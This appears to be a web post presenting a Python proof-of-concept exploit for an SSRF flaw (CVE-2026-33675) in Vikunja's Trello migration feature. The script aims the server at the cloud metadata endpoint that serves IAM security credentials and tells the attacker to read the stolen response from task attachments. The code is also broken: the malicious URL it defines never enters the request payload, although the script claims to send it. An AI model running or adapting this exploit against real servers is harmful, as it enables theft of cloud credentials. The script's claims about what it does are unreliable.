CVE-2026-33675 Vikunja SSRF漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-33675 (Vikunja SSRF) # This script demonstrates how an attacker might exploit the migration feature. import requests import json # Configuration TARGET_URL = "http://localhost:3456/api/v1/migration/trello" # Example endpoint MALICIOUS_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Internal metadata endpoint # Headers headers = { "Authorization": "Bearer <USER_TOKEN>", "Content-Type": "application/json" } # Payload mimicking a Trello migration request with a malicious attachment URL # In a real scenario, the attacker would need to control the Trello API response # or intercept the request to inject the URL. payload = { "code": "<MIGRATION_CODE>", # The vulnerability lies in the backend processing the file URLs from the third-party API. # This payload structure represents the data flow leading to the vulnerable function. } print(f"[*] Attempting to trigger migration with SSRF payload pointing to: {MALICIOUS_URL}") try: # Note: Actual exploitation requires triggering the specific migration flow. # This is a simplified representation of the request interaction. response = requests.post(TARGET_URL, headers=headers, json=payload) if response.status_code == 200: print("[+] Migration request initiated successfully.") print("[+] Check the downloaded task attachments for the SSRF response.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")